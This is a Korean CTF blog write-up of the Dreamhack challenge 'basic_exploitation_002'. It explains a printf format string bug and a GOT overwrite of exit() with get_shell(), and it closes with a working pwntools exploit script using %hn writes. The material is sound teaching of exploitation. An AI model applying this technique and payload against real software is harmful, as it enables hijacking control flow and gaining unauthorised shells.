basic_exploitation_002

printf(buf) instead of printf("%s", buf) - a format string bug turned into a GOT overwrite.

2026.08.18 Pwn original post

basic_exploitation_002 다. 이 문제는 FSB (Format String Bug) + GOT Overwrite 문제임! 보자 보자 코드 먼저 보자.

Figure 1

취약점은 여기다.

read(0, buf, 0x80);
printf(buf);        // ← 여기! printf("%s", buf) 였어야 함

printf(buf) 처럼 사용자 입력을 포맷 스트링으로 직접 넘기면, %x, %p, %n 같은 포맷 지시자를 통해 메모리 읽기/쓰기가 가능해져.

핵심 구조

항목내용
취약점Format String Bug (printf(buf))
목표get_shell() 함수 실행
방법exit() 의 GOT 주소를 get_shell() 주소로 덮어쓰기
포맷 지시자%p 로 주소 leak, %n 으로 쓰기

익스플로잇 흐름

  1. printf(buf) 로 스택 값 leak → 주소 파악
  2. exit@GOT 주소 찾기
  3. %n 으로 exit@GOTget_shell() 주소로 overwrite
  4. exit(0) 호출 시 → 실제로 get_shell() 실행됨!

여기서 잠깐! 왜 exit GOT 를 노리냐?

printf(buf);
exit(0);        // ← printf 다음에 바로 exit 호출

return 이 없고 exit() 로 끝나기 때문에, exit 의 GOT 를 get_shell 로 바꾸면 printf 이후 자동으로 쉘 획득!

여기서 잠깐! GOT 가 뭔가요!?

GOT 란 Global Offset Table — 외부 함수(libc 등)의 실제 주소를 저장해두는 테이블이야. 프로그램이 exit() 호출 → GOT[exit] 주소로 점프 → 거기 적힌 주소로 실행. 그래서 GOT 에 적힌 주소를 바꾸면 함수 호출을 가로챌 수 있어!

참고로 read(0, buf, 0x80) 은 buf 크기 = 0x80 이라서 bof 는 안 됨.

그럼 여기서! GOT overwrite 는 어뜨케 하는가 — %n 포맷 지시자 활용.

printf("AAAA%n", &var);   // → 지금까지 출력한 글자 수(4)를 &var에 써버림!

%n 은 “지금까지 출력된 바이트 수”를 메모리에 쓰는 특수 지시자야. 이걸 이용해서 원하는 주소에 원하는 값을 쓸 수 있어!

GOT 주소는 이렇게 알아내기!

Figure 2

get_shell 주소는 gdb 로!

Figure 3

그럼 오프셋을 알아보자! 오프셋은 왜 알아야 하냐? payload 를 이렇게 구성하기 때문이다.

[ exit@GOT 주소 ] + [ %N$n ]
        ↑              ↑
   1번째에 위치    1번째 인자(exit@GOT)에 써라!

%1$n → 스택 1번째 값이 가리키는 주소에 써줘 = exit@GOT 에 get_shell 주소를 써줘!

Figure 4

참고로 위에처럼 알아낼 수 있어! 그래서 최종 코드는:

from pwn import *

p = remote("host8.dreamhack.games", 23790)

exit_got = 0x0804a024
get_shell = 0x08048609

payload = p32(exit_got)
payload += p32(exit_got + 2)
payload += b"%34305c%1$hn"
payload += b"%33275c%2$hn"

p.send(payload)
p.sendline(b"cat flag")          # 셸이 뜨자마자 바로 명령어 전송
p.interactive()

열리자마자 TIME OUT 이 계속 나와서 p.sendline(b"cat flag") 를 미리 넣어버렸다. 답이 나왔다.